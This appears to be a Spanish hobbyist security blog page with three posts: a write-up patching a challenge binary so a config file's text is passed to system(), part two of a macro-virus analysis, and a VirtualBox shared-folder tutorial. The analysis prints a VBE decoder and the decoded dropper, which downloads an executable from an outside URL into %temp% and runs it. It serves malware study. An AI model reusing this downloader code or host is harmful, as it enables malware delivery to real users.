domingo, 17 de abril de 2016

Solucion a Mi Primer Exploit

hola amigos soy flamer de nuevo y he llamado el titulo mi primer exploit por que es el primero que resuelvo pero no se si es exploit o solo un simple reto ya que esta muy sencillo de resolver.

bueno el reto ya es viejo y fue expuesto en el foro https://underc0de.org y aquí el link del hilo:

https://underc0de.org/foro/wargames-202/reto-genera-tu-exploit!

y como dise hdbreaker que es el autor de este reto, tenemos que ejecutar la calculadora.

bueno así que manos a la obra, primero lo analizaremos con el RDG Detector y nos muestra lo siguiente:


que esta compilado en Dev-C++, así que ahora lo abriremos con el ollydbg y buscamos las string así:




y si se fijan un poco la primera linea nos marca el nombre de un archivo llamado "config.txt" así que daremos doble clic sobre esa linea


y nos muestra la siguiente imagen


ahora si observan la flecha roja verán que apunta ala palabra "system" y se preguntaran ¿y eso que?, bueno system es un comando del Dev-C++ que se encarga de ejecutar un comando de consola, en pocas palabras del ms-dos.

y ahora dirán ¿que esta ejecutando aquí? pues fácil esta ejecutando el comando "pause".

ahora no olvidemos el objetivo del reto que es ejecutar la calculadora de windows, y para eso solo bastaría con tan solo modificar la palabra "pause" a "calc" y con eso finalizamos el reto, pero yo en este tutorial iré mas allá, ejecutaremos varios comandos a la ves y para eso veremos que ase esta parte del código mostrada en la imagen de arriba.

primera mente en la linea 004013D2 vemos que abre el archivo config.txt y luego en la linea 004013F2 lee el contenido de este archivo para luego imprimirlo usando el comando printf en la linea 0040141A.

y si observan un poco la dirección encargada de imprimir el contenido del archivo es la dirección 0028FF10




ahora bien la dirección encargada de ejecutar el comando pause es 00440011




como dije anterior mente podemos finalizar el reto modificando el contenido de esta dirección pero mejor haremos algo mejor modificaremos la linea 0040141F y borramos la dirección encargada de ejecutar el pause y pondremos la dirección encargada de imprimir el contenido del archivo config.txt.

para eso damos doble clic en la linea 0040141F y le escribimos la linea del código alterado

Codigo Normal:

MOV DWORD PTR SS:[ESP],OFFSET 00440011

Codigo Alterado:

MOV DWORD PTR SS:[ESP],OFFSET 0028FF10


ahora después de esto aguardamos los cambios y modificamos el contenido del archivo config.txt por este:

"notepad&calc&taskmgr&%temp%&regedit"


y ahora si ejecutamos el archivo reto y como ven se ejecuta lo escrito en el archivo config.txt

bueno amigos eso es todo, el reto lo pueden descargar del hilo oficial pero por si el link se llega a cae aquí esta el mio:

http://www.mediafire.com/download/32bhbj0l2qye5uc/RetoExploit.rar


saludos Flamer


lunes, 4 de abril de 2016

Analizando Una Muestra De Un Virus De Macro[PARTE 2]

Hola amigos esta es la segunda parte de nuestro análisis de un virus de macro que se expuso en el foro del Hacker Net aquí el link:

http://foro.elhacker.net/analisis_y_diseno_de_malware/virus_de_macro_en_archivo_rtf-t449858.0.html

En esta parte empezaremos ejecutando nuestro archivo .xml ya reparado en una maquina virtual, primero aquí unos enlaces:

Primera Parte:  Ver aqui  y en Video: Ver aqui

Como Crear Una Maquina Virtual:  Parte 1  y Parte 2

ahora como ya tenemos nuestro archivo .xml  reparado lo copiaremos a la carpeta

"CompartidaconVirtualBox" que la tenemos en el escritorio y a nuestro archivo .xml le pondremos el nombre de virus.xml


como ya la tenemos compartida con nuestra maquina virtual pasaremos a ejecutar este archivo dentro de ella y daremos doble clic en el archivo virus.xml

Nota: Deberemos tener el Microsoft Office instalado en nuestra maquina virtual para poder abrir el archivo .xml




ahora ya que lo tenemos abierto tendremos que configurar el Microsoft Word para que ejecute la macro al abrir el archivo, para eso damos clic en


y después en la siguiente ventana elegiremos la ultima opción de abajo y daremos clic en aceptar


ahora cerramos el archivo para volverlo abrir y ahora si esperamos que se ejecute el virus y nos aparece esto

y como ven es un mensaje de error y apunta al archivo "rdFVJHkdsff.vbe" que es un tipo de archivo Visual Script Codificado y este se encuentra en la carpeta temporal.

así que daré clic en aceptar y ahora iré ala carpeta temporal presionando la tecla WINDOWS +  R   y escribo %TEMP%  y doy aceptar




y estos son los archivos que genera




ahora ya que me encuentro aquí copiare el archivo "rdFVJHkdsff.vbe"  a la carpeta que comparto para pasarlo a la maquina anfitrión y analizarlo mas bien

Nota: de aquí en adelante apagare el antivirus ya que este no me dejara abrir el archivo

ya que estoy en la maquina anfitrión lo abro con el Notepad y encuentro lo siguiente




como ven esta codificado, así que usare el código que se encuentra en esta pagina Aqui  para decodificarlo, pero con algunas modificaciones que lee hecho y quedara algo así:


option explicit
Dim oArgs, NomFichier,f
'Optional argument : the encoded filename
NomFichier=""
Set oArgs = WScript.Arguments
Select Case oArgs.Count
Case 0 'No Arg, popup a dialog box to choose the file
 'NomFichier=BrowseForFolder("Choose an encoded file", &H4031, &H0011)
 NomFichier="rdFVJHkdsff.vbe"
Case 1
 If Instr(oArgs(0),"?")=0 Then '-? ou /? => aide
  NomFichier=oArgs(0)
 End If
Case Else
 WScript.Echo "Too many parameters"
End Select
Set oArgs = Nothing

If NomFichier<>"" Then
 Dim fso
 Set fso=WScript.CreateObject("Scripting.FileSystemObject")
 If fso.FileExists(NomFichier) Then
  Dim fic,contenu
  Set fic = fso.OpenTextFile(NomFichier, 1)
  Contenu=fic.readAll
  fic.close
  Set fic=Nothing

  Const TagInit="#@~^" '#@~^awQAAA==
  Const TagFin="==^#~@" '& chr(0)
  Dim DebutCode, FinCode
  Do
   FinCode=0
   DebutCode=Instr(Contenu,TagInit)
   If DebutCode>0 Then
    If (Instr(DebutCode,Contenu,"==")-DebutCode)=10 Then 'If "==" follows the tag
     FinCode=Instr(DebutCode,Contenu,TagFin)
     If FinCode>0 Then
      Contenu=Left(Contenu,DebutCode-1) & _
      Decode(Mid(Contenu,DebutCode+12,FinCode-DebutCode-12-6)) & _
      Mid(Contenu,FinCode+6)
     End If
    End If
   End If
  Loop Until FinCode=0
  'WScript.Echo Contenu
  set f=fso.CreateTextFile("virusfinal.vbs")
  f.write(Contenu)
  f.close
 Else
  WScript.Echo Nomfichier & " not found"
 End If
 Set fso=Nothing
Else
 WScript.Echo "Please give a filename"
 WScript.Echo "Usage : " & wscript.fullname  & " " & WScript.ScriptFullName & " "
End If

Function Decode(Chaine)
 Dim se,i,c,j,index,ChaineTemp
 Dim tDecode(127)
 Const Combinaison="1231232332321323132311233213233211323231311231321323112331123132"

 Set se=WSCript.CreateObject("Scripting.Encoder")
 For i=9 to 127
  tDecode(i)="JLA"
 Next
 For i=9 to 127
  ChaineTemp=Mid(se.EncodeScriptFile(".vbs",string(3,i),0,""),13,3)
  For j=1 to 3
   c=Asc(Mid(ChaineTemp,j,1))
   tDecode(c)=Left(tDecode(c),j-1) & chr(i) & Mid(tDecode(c),j+1)
  Next
 Next
 'Next line we correct a bug, otherwise a ")" could be decoded to a ">"
 tDecode(42)=Left(tDecode(42),1) & ")" & Right(tDecode(42),1)
 Set se=Nothing

 Chaine=Replace(Replace(Chaine,"@&",chr(10)),"@#",chr(13))
 Chaine=Replace(Replace(Chaine,"@*",">"),"@!","<")
 Chaine=Replace(Chaine,"@$","@")
 index=-1
 For i=1 to Len(Chaine)
  c=asc(Mid(Chaine,i,1))
  If c<128 c="" if="" index="index+1" or="" then="">31) and (c<128 c="" if="" then="">60) and (c<>62) and (c<>64) Then
    Chaine=Left(Chaine,i-1) & Mid(tDecode(c),Mid(Combinaison,(index mod 64)+1,1),1) & Mid(Chaine,i+1)
   End If
  End If
 Next
 Decode=Chaine
End Function

Function BrowseForFolder(ByVal pstrPrompt, ByVal pintBrowseType, ByVal pintLocation)
 Dim ShellObject, pstrTempFolder, x
 Set ShellObject=WScript.CreateObject("Shell.Application")
 On Error Resume Next
 Set pstrTempFolder=ShellObject.BrowseForFolder(&H0,pstrPrompt,pintBrowseType,pintLocation)
 BrowseForFolder=pstrTempFolder.ParentFolder.ParseName(pstrTempFolder.Title).Path
 If Err.Number<>0 Then BrowseForFolder=""
 Set pstrTempFolder=Nothing
 Set ShellObject=Nothing
End Function


ahora copiamos este codigo y lo aguardamos en la carpeta donde se encuentra el virus que es la carpeta "CompartidaconVirtualBox" y le pondremos el nombre de "Desencriptar.vbs"  como ven en la imagen


y ahora daremos doble clic al desencriptar y nos crea el archivo "virusfinal.vbs", el cual daremos clic derecho y lo abriremos con el Notepad++



el cual nos muestra el siguiente código:


RTDHJkdsfFd = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%temp%")
RTDHJkdsfFd = RTDHJkdsfFd & "\"
trDYFUKdsc = "http://house.nochildforgotten.org/michigan/map.php"
HxDxVdXxSDxSF = "ojidsfc.exe" 
dim lkjhgfFFfsgb: Set lkjhgfFFfsgb = createobject("Microsoft.XMLHTTP")
dim fNxGxXlsxADAGD: Set fNxGxXlsxADAGD = createobject("Adodb.Stream")
lkjhgfFFfsgb.Open "GET", trDYFUKdsc, False
lkjhgfFFfsgb.Send

with fNxGxXlsxADAGD
    .type = 1 
    .open
    .write lkjhgfFFfsgb.responseBody
    .savetofile RTDHJkdsfFd &  HxDxVdXxSDxSF, 2 
end with
Set MNBHGdDwerttwer = CreateObject("Shell.Application") 
MNBHGdDwerttwer.Open RTDHJkdsfFd &  HxDxVdXxSDxSF


ahora remplazare el nombre de las variables para que se vea mas entendible y quedara algo así:


a = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%temp%")
a = a & "\"
b = "http://house.nochildforgotten.org/michigan/map.php"
c = "ojidsfc.exe" 
dim d: Set d = createobject("Microsoft.XMLHTTP")
dim e: Set e = createobject("Adodb.Stream")
d.Open "GET", b, False
d.Send

with e
    .type = 1 
    .open
    .write d.responseBody
    .savetofile a &  c, 2 
end with
Set f = CreateObject("Shell.Application") 
f.Open a &  c



párese que lo que ase es descargar una aplicación llamada "ojidsfc.exe" y ejecutarla

bueno creo que eso es todo de esta segunda parte, no creo que halla tercera por que lo único que queda de este virus es averiguar la clave de la macro para así ver bien todo el código pero creo que eso es imposible.

bueno saludos Flamer


Creando Una Maquina Virtual Con VirtualBox [Parte2]

Hola amigos en esta segunda parte instalaremos el windows xp SP3 en nuestra maquina virtual, para eso iniciamos nuestra maquina virtual dando clic en iniciar


ahora ya que la hemos iniciado daremos clic en: Dispositivos--Unidades Ópticas--Choose Disk Image


Nota 1: Yo instalare windows xp sp3 desde un archivo imagen, pero también pueden insertar un cd en las unidades señaladas

Nota 2: Yo no subiré el archivo imagen ustedes tendrán que buscar su copia del windows xp o cualquier otro sistema que quieran instalar


Ahora ya que elegimos nuestro archivo imagen reiniciaremos la maquina virtual así


y acto seguido empezara la instalación de nuestro sistema

Nota: El proceso de la instalación del windows xp me lo brincare, ya que si no el tutorial se aria mas largo y no voy a enseñar como instalar windows xp


Bueno ahora que ya tenemos el windows xp instalado pasaremos a compartir una carpeta con la maquina anfitrión, para eso tendremos que instalar el Guest edditions, para eso daremos clic en Dispositivos---Insertar imagen de CD de las<<Guest edditions>>


ahora en la siguiente ventana solo daremos next




de nuevo daremos next




ahora daremos clic al botón Install y esperamos un momento



y por ultimo daremos clic en finish, en donde se reiniciar la maquina virtual para que se efectúen los cambios




después de esto crearemos la carpeta que queremos compartir, dicha carpeta la crearemos en la maquina anfitrión, yo la creare en el escritorio y le pondré el nombre de "CompartidaconVirtualBox"




ahora nos iremos a la maquina virtual y daremos clic en




luego en la siguiente ventana daremos clic ala carpetita con el signo del mas



en la siguiente ventana daremos clic en la flecha asía abajo y luego en otro


después de esto buscaremos la carpeta "CompartidaconVirtualBox" que creamos anteriormente la seleccionamos y damos clic en aceptar



después de esto marcaremos las opciones que mas nos convengan yo marcare la de solo lectura y  automontar, para luego dar clic en aceptar


ahora nos iremos al símbolo del sistema de la maquina virtual y teclearemos lo siguiente

Net Use x:  \\vboxsvr\CompartidaconVirtualBox




ahora si todo salio bien ya tenemos nuestra carpeta compartida con  la maquina virtual y para ver donde esta nos iremos a mi pc y observaran algo asi




ahora si quieren quitar la carpeta compartida dan clic derecho a la unidad y luego clic en desconectar





después de esto pasan a eliminarla de aquí






bueno amigos creo que eso es todo espero les halla gustado el tutorial saludos Flamer